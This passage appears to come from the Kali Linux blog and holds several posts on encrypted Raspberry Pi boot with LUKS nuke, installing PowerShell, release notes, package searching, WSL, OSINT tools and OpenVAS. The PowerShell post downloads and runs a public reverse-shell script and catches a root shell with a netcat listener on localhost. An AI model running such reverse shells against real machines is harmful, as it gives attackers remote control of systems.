mkfs.ext4 /dev/mapper/crypt

With that out of the way, we restore the root filesystem backup to the now encrypted partition:

mount /dev/mapper/crypt /mnt/encrypted/
rsync -avh /mnt/backup/* /mnt/encrypted/
sync
umount /mnt/encrypted/
cryptsetup luksClose /dev/mapper/crypt

Testing it out

You can now put the SD card back into the RPi and let it start up. If you watch the boot, you should see Dropbear start up. At that point, you should be able to SSH into the system and unlock the drive:

root@kali:~# ssh -o "UserKnownHostsFile /dev/null" root@10.42.42.94
The authenticity of host '10.42.42.94 (10.42.42.94)' can't be established.
ECDSA key fingerprint is SHA256:L+QVP+OmncGDleuEoj77OlRGuCji2gp0c1gMYjUupU0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.42.42.94' (ECDSA) to the list of known hosts.
Please unlock disk /dev/mmcblk0p2 (crypt):
cryptsetup (crypt): set up successfully
Connection to 10.42.42.94 closed.

The versatility of these little devices combined with the power of Kali never ceases to amaze us. Now we are left with a nice headless system we can operate with relative confidence that, even if it’s discovered, it won’t be too simple to get into.

But we aren’t done yet! Let’s add in some LUKS NUKE functionality:

cryptsetup luksDump /dev/mmcblk0p2
cryptsetup luksAddNuke /dev/mmcblk0p2

Now when we SSH in, we have one password we can enter to allow the SD card to unlock and continue the boot process, and another that destroys the LUKS header, making the data inaccessible. If you end up in a situation where you can’t retrieve the device, this option to burn the device could be very helpful. If you want to be really fancy, you could also combine this with making the RPi into a wireless access point, allowing you to remote in and unlock/nuke the system all through a wireless connection. This is very useful if you won’t have ongoing direct access to the network the RPi will be attached to.

Installing PowerShell on Kali Linux

Wed, 06 Jun 2018 00:00:00 +0000

UPDATE NOV 2019

This post is out of date as of 2019 as powershell has been added to the primary repos. Just do a:

apt update && apt -y install powershell

And you will have powershell on your system.

Old Post

You may already be aware that you can safely add external repositories to your Kali Linux installation but you may not be aware that one of the many repositories available online includes one from Microsoft that includes PowerShell. The repository is for Debian but its packages install perfectly well on Kali, as we will show in this post.

PowerShell Package Installation in Kali

We begin by installing the necessary dependencies, most of which should already be installed in your Kali installation by default:

apt update && apt -y install curl gnupg apt-transport-https

Next, we need to download and add the public repository GPG key so APT will trust the packages and alert you to any issues with package signatures:

curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -

With the GPG key added, we proceed to add the Microsoft package repository to its own package list file under /etc/apt/sources.list.d/ and update the list of available packages:

echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/powershell.list
apt update

Finally, we proceed to install the powershell package:

apt -y install powershell

Running PowerShell

When the package installation completes, running pwsh will start up PowerShell, presenting us with the familiar “PS” prompt:

root@kali:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /root>

If you’re new to PowerShell, one of the first things you will likely want to do is update the built-in help, which can be done by running the Update-Help Cmdlet. This may take a little while to complete but only really needs to be run once in a rare while:

PS /root> Update-Help
Updating Help for module Microsoft.PowerShell.Utility
Locating Help Content...

As you might expect, you won’t find all the commands you’re used to when using PowerShell on Windows but all of the core modules are present and the code is under constant development and improvement:

PS /root> Get-Process -Name gnome*
NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0.00 5.71 0.03 1073 072 gnome-keyring-d
0 0.00 9.80 0.19 659 649 gnome-session-b
0 0.00 13.72 0.36 1089 080 gnome-session-b
0 0.00 110.06 3.36 778 649 gnome-shell
0 0.00 277.15 27.85 1170 080 gnome-shell
0 0.00 11.77 0.09 1199 075 gnome-shell-cal
0 0.00 77.79 4.58 1381 080 gnome-software
0 0.00 36.58 2.03 1646 646 gnome-terminal-

One of the surprising things you can do however, is use PowerShell to send a reverse shell to a Netcat listener. We came across a small PowerShell reverse shell online and much to our surprise, it happily connected back to our listener:

root@kali:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /root> wget -q https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1
PS /root> ./mini-reverse.ps1
────────────────────────────────────────────────────────────────────────────────
root@kali:~# nc -lvnp 413
listening on [any] 413 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59006
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux

We think it’s remarkable that, not only did Microsoft Open-source PowerShell, they’ve also been constantly updating and improving it, and having a public package repository for it makes installation a breeze.

Kali Linux 2018.2 Release

Mon, 30 Apr 2018 00:00:00 +0000

This Kali release is the first to include the Linux 4.15 kernel, which includes the x86 and x64 fixes for the much-hyped Spectre and Meltdown vulnerabilities. It also includes much better support for AMD GPUs and support for AMD Secure Encrypted Virtualization, which allows for encrypting virtual machine memory such that even the hypervisor can’t access it.

Easier Metasploit Script Access

If you spend any significant amount of time writing exploits, you are undoubtedly familiar with the various Metasploit scripts that are available, such as pattern_create, pattern_offset, nasm_shell, etc. You are likely also aware that all of these helpful scripts are tucked away under /usr/share/metasploit-framework/tools/exploit/, which makes them more than a little difficult to make use of. Fortunately, as of metasploit-framework_4.16.34-0kali2, you can now make use of all these scripts directly as we have included links to all of them in the PATH, each of them prepended with msf-:

root@kali:~# msf-<tab>
msf-egghunter msf-java_deserializer msf-nasm_shell
msf-exe2vba msf-jsobfu msf-pattern_create
msf-exe2vbs msf-makeiplist msf-pattern_offset
msf-find_badchars msf-md5_lookup msf-pdf2xdp
msf-halflm_second msf-metasm_shell msf-virustotal
msf-hmac_sha1_crack msf-msf_irb_shell
root@kali:~#
root@kali:~# msf-pattern_create -l 50 -s ABC,123
A1A2A3B1B2B3C1C2C3A1A2A3B1B2B3C1C2C3A1A2A3B1B2B3C1
root@kali:~#

Package Updates

In addition to the above changes, there have been updates to a number of applications including Bloodhound, Reaver, PixieWPS, Burp Suite, Hashcat, and more. Since there are far too many packages to include in a default ISO, to see the full list of changes, we encourage you to review the Kali Changelog.

Download Kali Linux 2018.2

If you would like to check out this latest and greatest Kali release, you can find download links for ISOs and Torrents on the Kali Downloads page along with links to the OffSec virtual machine and ARM images, which have also been updated to 2018.2. If you already have a Kali installation you’re happy with, you can easily upgrade in place as follows:

root@kali:~# apt update && apt full-upgrade

As always, if you encounter any bugs at all, we implore you to open a report on our bug tracker. We can’t fix what we don’t know about.

Finding Packages for Kali Linux

Tue, 17 Apr 2018 00:00:00 +0000

In an earlier post, we covered Package Management in Kali Linux. With the ease of installation that APT provides, we have the choice amongst tens of thousands of packages but the downside is, we have tens of thousands of packages. Finding out what packages are available and finding the one(s) we want can be a daunting task, particularly for newcomers to Linux. In this post, we will cover three utilities that can be used to search through the haystack and help you take advantage of the vast Open-source ecosystem.

apt-cache

Of the various interfaces available to search for packages, apt-cache is the most basic and rudimentary of them all. However, it is also the interface we tend to use most often because it is fast, easy, and efficient. By default, apt-cache searches for a given term in package names as well as their descriptions. For example, knowing that all Kali Linux metapackages include ‘kali-linux’ in their names, we can easily search for all of them:

root@kali:~# apt-cache search kali-linux
kali-linux - Kali Linux base system
kali-linux-all - Kali Linux - all packages
kali-linux-forensic - Kali Linux forensic tools
kali-linux-full - Kali Linux complete system
kali-linux-gpu - Kali Linux GPU tools
kali-linux-nethunter - Kali NetHunter tools
kali-linux-pwtools - Kali Linux password cracking tools
kali-linux-rfid - Kali Linux RFID tools
kali-linux-sdr - Kali Linux SDR tools
kali-linux-top10 - Kali Linux Top 10 tools
kali-linux-voip - Kali Linux VoIP tools
kali-linux-web - Kali Linux webapp assessment tools
kali-linux-wireless - Kali Linux wireless tools

In many cases, apt-cache returns far too many results because it searches in package descriptions. The searches can be limited to the package names themselves by using the --names-only option:

root@kali:~# apt-cache search nmap | wc -l
37
root@kali:~# apt-cache search nmap --names-only
dnmap - Distributed nmap framework
fruitywifi-module-nmap - nmap module for fruitywifi
nmap-dbgsym - debug symbols for nmap
python-libnmap - Python 2 NMAP library
python-libnmap-doc - Python NMAP Library (common documentation)
python3-libnmap - Python 3 NMAP library
libnmap-parser-perl - parse nmap scan results with perl
nmap - The Network Mapper
nmap-common - Architecture independent files for nmap
zenmap - The Network Mapper Front End
nmapsi4 - graphical interface to nmap, the network scanner
python-nmap - Python interface to the Nmap port scanner
python3-nmap - Python3 interface to the Nmap port scanner

Since apt-cache has such wonderfully greppable output, we can keep filtering results until they’re at a manageable number:

root@kali:~# apt-cache search nmap --names-only | egrep -v '(python|perl)'
dnmap - Distributed nmap framework
fruitywifi-module-nmap - nmap module for fruitywifi
nmap - The Network Mapper
nmap-common - Architecture independent files for nmap
nmap-dbgsym - debug symbols for nmap
nmapsi4 - graphical interface to nmap, the network scanner
zenmap - The Network Mapper Front End

You can further filter down the search results but once you start chaining together a few commands, that’s generally a good indication that it’s time to reach for a different tool.

aptitude

The aptitude application is a very close cousin of apt and apt-get except it also includes a very useful ncurses interface. It is not included in Kali by default but it can quickly be installed as follows:

root@kali:~# apt update && apt -y install aptitude

After installation, running aptitude without any options will launch the ncurses interface. One of the first things you will notice is that you can quickly and easily browse through packages by category, which greatly helps with sorting through the thousands of available packages.

To search for a package, either press the / character or select ‘Find’ under the ‘Search’ menu. As you enter your query, the package results will be updated dynamically.

Once you’ve located a package of interest, you can mark it for installation with the + character or to remove/deselect it, the - character.

At this point, you can keep searching for other packages to mark for installation or removal. When you’re ready to install, press the g key to view the summary of the actions to be taken.

If you’re satisfied with the proposed changes, press g again and aptitude will complete the package installations as usual.

The Internet

If you want to restrict your searches to tools that are packaged by the Kali team, the easiest way to do so is probably by using the Google site search operator.

Learn More

Hopefully, this post will help you answer whether or not a certain tool is available in Kali (or Debian). For a much more detailed treatment of package management, we encourage you to check out the Kali Training site.

Kali Linux in the Windows App Store

Mon, 05 Mar 2018 00:00:00 +0000

No, really…this isn’t clickbait. For the past few weeks, we’ve been working with the Microsoft WSL team to get Kali Linux introduced into the Microsoft App Store as an official WSL distribution and today we’re happy to announce the availability of the “Kali Linux” Windows application. For Windows 10 users, this means you can simply enable WSL, search for Kali in the Windows store, and install it with a single click. This is especially exciting news for penetration testers and security professionals who have limited toolsets due to enterprise compliance standards.

While running Kali on Windows has a few drawbacks to running it natively (such as the lack of raw socket support), it does bring in some very interesting possibilities, such as extending your security toolkit to include a whole bunch of command line tools that are present in Kali. We will update our blog with more news and updates regarding the development of this app as it’s released.

We’d like to take this opportunity to thank the WSL team at Microsoft, and specifically @tara_msft and @benhillis for all the assistance and guidance with which this feat would not be possible. We hope you enjoy WSL’d Kali on Windows 10!

And now, a quick guide on getting Kali installed from the Microsoft App Store:

Getting Kali Linux Installed on WSL

Here’s a quick description of the setup and installation process. For an easier copy / paste operation, these are the basic steps taken:

1. Update your Windows 10 machine. Open an administrative PowerShell window and install the Windows Subsystem with this one-liner. A reboot will be required once finished:

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

2. Once rebooted, open the Windows App store and search for the “Kali Linux” application, or alternatively click here to go there directly. Install the app and enjoy Kali!

Updating Kali Linux on WSL

Updating Kali Linux on WSL is no different from any other instance of Kali:

apt-get update
apt-get dist-upgrade

Here’s a quick video of the process:

Installing Penetration Testing tools on Kali

Installing tools from the Kali Linux repository is usually done via apt commands. For example, to install the Metasploit Framework, you can simply:

apt-get update
apt-get install metasploit-framework

Note: Some Kali tools are identified by anti-virus software as malware. One way to deal with this situation is to allow anti-virus exceptions on the directory in which the Kali chroot resides in. The following video walks you through this process:

Recovering from a failed Kali WSL instance

Sometimes, you can inadvertently kill your Kali WSL instance, due to an overzealous command, an unintentional action, or even due to Kali or WSL bugs. If this happens, here is a quick recovery guide to get back on top of things. Note: this process will wipe your Kali WSL chroot, and re-extract a new copy. Any changes made to the filesystem will be gone, and reset to default.

Food for thought

The availability of the Kali Linux platform and toolset on Windows 10 brings with it many exciting possibilities which we haven’t even begun to grasp - here’s one example that got us scratching our heads. While not officially supported by WSL yet, we’ve tested running a desktop manager such as XFCE on WSL’d Kali…and it seems to work quite well:

Setting up RDP with Xfce

Kali Linux 2018.1 Release

Tue, 06 Feb 2018 00:00:00 +0000

Welcome to our first release of 2018, Kali Linux 2018.1. This fine release contains all updated packages and bug fixes since our 2017.3 release last November. This release wasn’t without its challenges–from the Meltdown and Spectre excitement (patches will be in the 4.15 kernel) to a couple of other nasty bugs, we had our work cut out for us but we prevailed in time to deliver this latest and greatest version for your installation pleasure.

Kernel Updated to 4.14

Kali Linux 2018.1 has a shiny new 4.14.12 kernel. New kernels always have a lot of new features and the 4.14 kernel is no exception, although two new features really stand out.

AMD Secure Memory Encryption Support - Secure Memory Encryption is a feature that will be in newer AMD processors that enables automatic encryption and decryption of DRAM. The addition of this features means that systems will no longer (in theory) be vulnerable to cold-boot attacks because, even with physical access, the memory will be not be readable.
Increased Memory Limits - Current (and older) 64-bit processors have a limit of 64 TB of physical address space and 256 TB of virtual address space (VAS), which was sufficient for more than a decade but with some server hardware shipping with 64 TB of memory, the limits have been reached. Fortunately, upcoming processors will enable 5-level paging, support for which is included in the 4.14 kernel. In short, this means that these new processors will support 4 PB of physical memory and 128 PB of virtual memory. That’s right, petabytes.

Package Updates

In addition to the updated kernel, we have also upgraded a number of packages, including zaproxy, secure-socket-funneling, pixiewps, seclists, burpsuite, dbeaver, and reaver. If you already have a Kali installation, you can easily get the latest version of these tools along with everything else that has been updated:

apt update && apt full-upgrade

Note that if you haven’t updated your Kali installation in some time (tsk2), you will like receive a GPG error about the repository key being expired (ED444FF07D8D0BF6). Fortunately, this issue is quickly resolved by running the following as root:

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add

Hyper-V Updates

For those of you using Hyper-V to run the Kali virtual machines provided by OffSec, you will find that the Hyper-V virtual machine is now generation 2, which means it’s now UEFI-based and expanding/shrinking HDD is supported. The Hyper-V integration services are also included, which supports Dynamic Memory, Network Monitoring/Scaling, and Replication.

Download Kali Linux 2018.1

As always, you can download our official ISO images on our download page, where you will also find links to the pre-made virtual machines and ARM images provided by OffSec. If you encounter any bugs with this, or any other, release, please don’t suffer in silence and open a report on the Kali Bug Tracker so we can investigate and fix it.

Your Journey Starts Here

Tue, 30 Jan 2018 00:00:00 +0000

“Whether you’re new to the fight, or a seasoned pro, don’t stop training…”

This statement, like the video that introduced it, has real punch. We did this on purpose to get you fired up, excited about your training, and to kickstart your journey. If it worked, and you’re in the fight, welcome aboard! If you haven’t jumped in for whatever reason, we want to introduce you to the plethora of resources we’ve made available to help you master Kali Linux, the penetration testing distribution.

You’ve likely heard about the first, official Kali Linux book: Kali Linux Revealed, Mastering The Penetration Testing Distribution available from OffSec Press. Don’t worry, this isn’t a sales pitch. We’ve made the book available for free in both online HTML and PDF versions because we love you. But wait, there’s more. We’ve also made chapter exercises available online at Kali.training (after free registration) so you can test your knowledge and get some hands-on experience as you work through the book. We’ve also created our first Kali Linux certification, the Kali Linux Certified Professional (KLCP), so you can take your training to the next level. This is where some folks get either overwhelmed or confused, so let’s talk about what all this is, exactly.

Kali Linux Revealed - What’s That

First, let’s talk about Kali Linux Revealed. Whether you buy the (fairly-priced) physical book from retailers like ~~Amazon~~ , download the free PDF, or follow along with the online version of the book, you’re getting exactly the same content. There is no difference. So why are we selling a book and giving it away? The fact is, we’re not trying to make a business by selling books. We wrote the book to provide an official manual for Kali Linux, to provide a body of knowledge for the KLCP, and to improve the knowledge base of the Kali community.

The follow-on exercises at Kali.training help solidify your knowledge and give you practical hands-on experience. All of this will help prepare you for the ultimate test: the KLCP

KLCP?

So what is the KLCP, exactly? Once you’ve studied (and not simply read or skimmed) the book and worked through the exercises, you’re probably ready for the KLCP. Consisting of a 90-minute, 80-question multiple choice exam (proctored by Pearson Vue), the KLCP is the foundational Kali Linux certification.

What’s Inside

All of this is centered around the content in the Kali Linux Revealed print, online, and PDF books, so let’s dive into what’s covered.

It’s been mentioned that we’ve provided a resource that’s too basic for some and too advanced for others. That’s fair because we provide a somewhat gentle introduction for new users, thoroughly cover all Kali Linux features, and then delve into some fairly advanced topics as well. So, yes, it’s a fairly broad range.

To start things off, we discuss the basics of Kali Linux in the first few chapters. In the first chapter, we share the history of Kali Linux, explain the relationship with Debian, talk about Kali features, policies and use cases, and discuss what Kali is best used for. We follow this up in chapter two with details on how to download and verify Kali Linux, how to create a bootable Kali USB, and how to set up a virtual machine. In chapter three, we discuss Linux fundamentals, talk about terminology and basic commands, and touch on system logging and troubleshooting.

Once you register on Kali.training, you can dive in to end-of-chapter exercises. Working through these exercises, you will:

Set up a new VM
Boot Kali Live
Inspect kernel boot options
Download (and verify) Kali
Install Kali on USB and VM
Modify kernel boot parameters
Practice Linux job control
Search and manipulate files
Enumerate and manipulate hardware settings

This is the turning point of the table of contents, where beginners are starting to get pumped and advanced users have dismissed this as “useless beginner stuff”. While many are quite happy bouncing around and using the book as a reference, if you’re a serious student or a professional seeking to better your skills or nail your KLCP, you should not simply dismiss or skip any of the chapters. There really is a lot of good material for users at every level and anything in the book is fair game for the KLCP.

Continue The Journey

Continuing with our journey, we step into chapter four where we cover installation requirements, show you how to install Kali as a standard install, ARM install, unattended install and as a fully encrypted installation with LVM and LUKS.

If you’ve never strayed from the standard installation path, you’re missing out on the power of unattended installation and the ultimate security of encryption with LUKS “nuke”. You’ll get hands-on at Kali.training with a fully encrypted install, an unattended install and a standard as well as a fully customized ARM install on a Raspberry Pi. The final exercise in this chapter has you not only building a “Kali Pi” but mounting and chrooting the file system to make post-installation changes. This gives you extreme flexibility, takes you off the path of a standard burned-image installation and is especially eye-opening for new users.

In chapter five, we dive into service and user configuration and management, then follow this up in chapter six with tips on troubleshooting Kali Linux and self-diagnosing and getting help with any aspect of your installation. As we roll into chapter seven, we’ll dig into security topics and cover firewall and log configuration and monitoring, package auditing and several host-based intrusion detection tools. While most of this may seem like basic Linux system administration, the fact is that Kali is really a killer secure base OS and each of these skills is important for building a strong foundational knowledge of Kali.

As you pass through these chapters and tackle the exercises, you will:

Add new user accounts
Configure network without Network Manager
Spin up hostapd as WAP
Configure Apache and PostgreSQL
Install masscan with a custom web interface
Create a custom PI access point with hostapd
Create and test firewall rules
Learn to detect and prevent password brute forcing
Install and modify a host-based IDS system

This is yet another turning point of the book. We’ve covered basic Kali installation and use, stepped into administrative roles and gotten even the most basic user up to a decent foundational level of knowledge. Our advanced users may be frustrated, wondering when they get their turn to play. That time is now. The next three chapters are the meat of Kali Linux Revealed. They are the longest and most densely packed chapters in the entire book and each chapter contains a ton of cool stuff that will appeal to even the most advanced user.

Into The Fray

We jump right into the fray in chapter eight as we examine Debian Package Management. Debian is a robust, mature, operating system that allowed us to take Kali to the next level as a distribution. We gained so many advanced features when we moved to Debian, and in this chapter we start to lay out the foundations of what makes these features possible.

If you’ve done anything with Kali, you’ve likely used apt to update your installation. It’s easy to just blow off this process, follow the directions, and move on. But what happens behind the scenes with Debian’s package management tools is impressive, powerful, and flexible. We go behind-the-scenes and talk about all the components that make this possible. For example, do you understand the difference between dpkg, apt, and apt-get? What about aptitude and synaptic? Each of these utilities has powerful functionality and we get in deep so we can get into some powerful features in the following chapters.

At the end of chapter eight, you dive into the exercises where you will:

Install bleeding edge software, like the Social Engineering Toolkit (SET)
Create custom packages, including a custom-built offline installation of Nessus that includes all plugins
Install and configure packages from foreign architectures
Install Windows-based programs in Kali Linux

In chapter nine, we will show you how to modify Kali packages, recompile the Kali kernel, and build custom Kali live ISO images. Custom packages are especially cool, allowing you to create a package, share it, deploy it, and even roll back your changes if you need to.

As we dive into the exercises, you will:

Build custom Kali live ISO images, like an much-upgraded version of Angela’s live USB from Mr. Robot
Build an unencrypted live Kali USB
Build an encrypted live Kali USB with LUKS “nuke” allowing you to obliterate your data with a specific decryption password.
Fork your own metapackage containing exactly the tools you want to deploy

As we cruise in to chapter ten, we’ll show you how to install Kali Linux over the network, including options for complete unattended installation. We’ll also show you how to create a full-featured enterprise installation of Kali that allows you to deploy Kali “minions” that you can control from a central “master”. Finally, we will show you how to create a custom package repository that you can use to deploy your own completely customized packages. When you pull together the skills in these final chapters, you will be able to create custom Kali installations with your own package builds and configuration options. You will even have the power to build custom live instances primed to do anything you want after booting. You’ll be able to network-install machines with completely unattended installation options, stand up your own package repositories with custom tools for rapid deployment, and monitor, update, and control deployed Kali instances without installing any additional tools on top of Kali.

Take The Next Step

At this level, the true power of Kali Linux is revealed and you have truly “mastered the penetration testing distribution”.

Kali Linux Revealed, the resources at Kali.training and the KLCP encompass so much cool stuff, it’s pretty hard to summarize, but we hope you’ll take the next step in your journey and join us at Kali.training!

Kali on the Windows Subsystem for Linux

Wed, 10 Jan 2018 00:00:00 +0000

Update : This post is outdated. For a better way of getting Kali Linux on Windows 10, install Kali Linux from the App store.

We’re always on the prowl for novel environments to run Kali on, and with the introduction of the Windows Subsystem for Linux (WSL) in Windows 10, new and exciting possibilities have surfaced. After all, if the WSL can support Ubuntu, it shouldn’t be too hard to incorporate another Debian-like distribution, right? This is especially true with the Windows Subsystem for Linux Distribution Switcher utility.

Kali on … Windows? Really?

While this setup of Kali on Windows is not optimal due to various environmental restrictions (such as the lack of raw sockets and lack of customised Kali kernel), there are still many situations where having Kali Linux alongside your Windows 10 machine can be beneficial. One example that comes to mind is consolidation of workspaces, especially if Windows is your main working environment. Other useful situations that crossed our minds were standardizing tools and scripts to run across multiple environments, quick porting of Linux penetration testing command line tools to Windows, etc. For example, below is a screenshot of running the Metasploit Framework from Kali Linux, over WSL.

Setting up the Environment

While the setup is described well over at the WSL Distribution Switcher README file, we’ve made a quick 4-minute video to walk you through the setup and installation process. For an easier copy / paste operation, these are the basic steps taken:

1. Update your Windows 10 machine. Open an administrative PowerShell window and install the Windows Subsystem with this one-liner. A reboot will be required once finished:

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

2. Once rebooted, open a command line shell and run the following commands to install the default Ubuntu environment. This will lay down the foundations for our Kali install:

lxrun /install

3. Setup and install the WSL Switcher, download a Kali base, and extract it to disk:

git clone https://github.com/RoliSoft/WSL-Distribution-Switcher.git
cd WSL-Distribution-Switcher
python get-prebuilt.py kalilinux/kali-linux-docker
python install.py rootfs_kalilinux_kali-linux-docker_latest.tar.gz
lxrun /setdefaultuser root

4. Now that Kali is set up on your Windows 10 machine, you can interact with it by running the “bash” command:

bash

5. At this point, you’re inside Kali and you can use it as you normally do–install packages, use tools, etc. We strongly recommend first running an update and upgrade:

export LANG=C
apt-get update
apt-get dist-upgrade

Without further ado, here’s the video demonstration of the setup described above:

Kali Linux 2017.3 Release

Tue, 21 Nov 2017 00:00:00 +0000

We are pleased to announce the immediate availability of Kali Linux 2017.3, which includes all patches, fixes, updates, and improvements since our last release. In this release, the kernel has been updated to 4.13.10 and it includes some notable improvements:

In addition to the new kernel and all of the updates and fixes we pull from Debian, we have also updated our packages for Reaver, PixieWPS, Burp Suite, Cuckoo, The Social Engineering Toolkit, and more. Take a look at the Kali Changelog to see what else has been updated in this release, or read on to see what else is new.

New Tool Additions

Since our last release in September, we’ve added four new tools to the distribution, most of which focus on the always-lucrative Open-source information gathering. These new tools are not included in the default installation but after an ‘apt update’, you can check out and install the ones that interest you. We, of course, think they’re all interesting and hope you do as well.

InSpy

InSpy is a small but useful utility that performs enumeration on LinkedIn and can find people based on job title, company, or email address:

root@kali:~# apt update && apt -y install inspy
root@kali:~# inspy --empspy /usr/share/inspy/wordlists/title-list-large.txt google
InSpy 2.0.3
2017-11-14 14:04:47 53 Employees identified
2017-11-14 14:04:47 Birkan Cara Product Manager at Google
2017-11-14 14:04:47 Fuller Galipeau Google
2017-11-14 14:04:47 Catalina Alicia Esrat Account Executive at Google
2017-11-14 14:04:47 Coplan Pustell Recruiter at Google
2017-11-14 14:04:47 Kristin Suzanne Lead Recruiter at Google
2017-11-14 14:04:47 Baquero Jahan Executive Director at Google
2017-11-14 14:04:47 Jacquelline Bryan VP, Google and President of Google.org
2017-11-14 14:04:47 Icacan M. de Lange Executive Assistant at Google
...

CherryTree

The oft-requested CherryTree has now been added to Kali for all of your note-taking needs. CherryTree is very easy to use and will be familiar to you if you’ve used any of the “big-name” note organization applications:

root@kali:~# apt update && apt -y install cherrytree

Sublist3r

Sublist3r is a great application that enables you to enumerate subdomains across multiple sources at once. It has integrated the venerable SubBrute, allowing you to also brute force subdomains using a wordlist:

root@kali:~# apt update && apt -y install sublist3r
root@kali:~# sublist3r -d google.com -p 80 -e Bing
____ _ _ _ _ _____
/ ___| _ _| |__ | (_)___| |_|___ / _ __
\___ \| | | | '_ \| | / __| __| |_ \| '__|
___) | |_| | |_) | | \__ \ |_ ___) | |
|____/ \__,_|_.__/|_|_|___/\__|____/|_|
# Coded By Ahmed Aboul-Ela - @aboul3la
[-] Enumerating subdomains now for google.com
[-] Searching now in Bing..
[-] Total Unique Subdomains Found: 46
[-] Start port scan now for the following ports: 80
ads.google.com - Found open ports: 80
adwords.google.com - Found open ports: 80
analytics.google.com - Found open ports: 80
accounts.google.com - Found open ports: 80
aboutme.google.com - Found open ports: 80
adssettings.google.com - Found open ports: 80
console.cloud.google.com - Found open ports: 80
...

OSRFramework

Another excellent OSINT tool that has been added to the repos is OSRFramework, a collection of scripts that can enumerate users, domains, and more across over 200 separate services:

root@kali:~# apt update && apt -y install osrframework
root@kali:~# searchfy.py -q "dookie2000ca"
___ ____ ____ _____ _
/ _ \/ ___|| _ \| ___| __ __ _ _ __ ___ _____ _____ _ __| | __
| | | \___ \| |_) | |_ | '__/ _` | '_ ` _ \ / _ \ \ /\ / / _ \| '__| |/ /
| |_| |___) | _ <| _|| | | (_| | | | | | | __/\ V V / (_) | | | <
\___/|____/|_| \_\_| |_| \__,_|_| |_| |_|\___| \_/\_/ \___/|_| |_|\_
Version: OSRFramework 0.17.2
Created by: Felix Brezo and Yaiza Rubio, (i3visio)
searchfy.py Copyright (C) F. Brezo and Y. Rubio (i3visio) 2014-2017
This program comes with ABSOLUTELY NO WARRANTY. This is free software, and you
are welcome to redistribute it under certain conditions. For additional info,
visit https://www.gnu.org/licenses/agpl-3.0.txt
2017-11-14 14:54:52.535108 Starting search in different platform(s)... Relax!
Press <Ctrl + C> to stop...
2017-11-14 14:55:04.310148 A summary of the results obtained are listed in the following table:
Sheet Name: Profiles recovered (2017-11-14_14h55m).
+---------------------------------+---------------+------------------+
| i3visio_uri | i3visio_alias | i3visio_platform |
+=================================+===============+==================+
| http://github.com/dookie2000ca | dookie2000ca | GitHub |
+---------------------------------+---------------+------------------+
| http://twitter.com/dookie2000ca | dookie2000ca | Twitter |
+---------------------------------+---------------+------------------+
2017-11-14 14:55:04.327954 You can find all the information collected in the following files:
./profiles.csv
2017-11-14 14:55:04.328012 Finishing execution...
Total time used: 0:00:11.792904
Average seconds/query: 11.792904 seconds
Did something go wrong? Is a platform reporting false positives? Do you need to
integrate a new one and you don't know how to start? Then, you can always place
an issue in the GitHub project:
https://github.com/i3visio/osrframework/issues
Note that otherwise, we won't know about it!

Massive Maltego Metamorphosis

One of our favourite applications in Kali has always been Maltego, the incredible Open-source information gathering tool from Paterva, and the equally incredible Casefile. These two applications had always been separate entities (get it?) but as of late September, they are now combined into one amalgamated application that still allows you to run Maltego Community Edition and Casefile, but now it also works for those of you with Maltego Classic or Maltego XL licenses. As always, the tools perform wonderfully and look great doing it.

Get the Goods

As usual, we have updated our standard ISO images, VMware and VirtualBox virtual machines, ARM images, and cloud instances, all of which can be found via the Kali Downloads page.

If you find any bugs, please open a ticket on our bug tracker. We keep an eye on social media but there is no substitute for a well-written bug report and many bugs that get reported to us end up getting fixed in Debian, which then benefits all of its derivatives.

Configuring and Tuning OpenVAS in Kali Linux

Wed, 15 Nov 2017 00:00:00 +0000

Users often request the addition of vulnerability scanners to Kali, most notably the ones that begin with “N”, but due to licensing constraints, we do not include them in the distribution. Fortunately, Kali includes the very capable OpenVAS, which is free and Open-source. Although we briefly covered OpenVAS in the past, we decided to devote a more thorough post to its setup and how to use it more effectively.

Vulnerability scanners often have a poor reputation, primarily because their role and purpose is misunderstood. Vulnerability scanners scan for vulnerabilities–they are not magical exploit machines and should be one of many sources of information used in an assessment. Blindly running a vulnerability scanner against a target will almost certainly end in disappointment and woe, with dozens (or even hundreds) of low-level or uninformative results.

System Requirements

The main complaint we receive about OpenVAS (or any other vulnerability scanner) can be summarized as “it’s too slow and crashes and doesn’t work and it’s bad, and you should feel bad”. In nearly every case, slowness and/or crashes are due to insufficient system resources. OpenVAS has tens of thousands of signatures and if you do not give your system enough resources, particularly RAM, you will find yourself in a world of misery. Some commercial vulnerability scanners require a minimum of 8GB of RAM and recommend even more.

OpenVAS does not require anywhere near that amount of memory but the more you can provide it, the smoother your scanning system will run. For this post, our Kali virtual machine has 3 CPUs and 3GB of RAM, which is generally sufficient to scan small numbers of hosts at once.

Initial OpenVAS Setup in Kali

OpenVAS has many moving parts and setting it up manually can sometimes be a challenge. Fortunately, Kali contains an easy-to-use utility called ‘openvas-setup’ that takes care of setting up OpenVAS, downloading the signatures, and creating a password for the admin user.

This initial setup can take quite a long while, even with a fast Internet connection so just sit back and let it do its thing. At the end of the setup, the automatically-generated password for the admin user will be displayed. Be sure to save this password somewhere safe:

root@kali:~# openvas-setup
ERROR: Directory for keys (/var/lib/openvas/private/CA) not found!
ERROR: Directory for certificates (/var/lib/openvas/CA) not found!
ERROR: CA key not found in /var/lib/openvas/private/CA/cakey.pem
ERROR: CA certificate not found in /var/lib/openvas/CA/cacert.pem
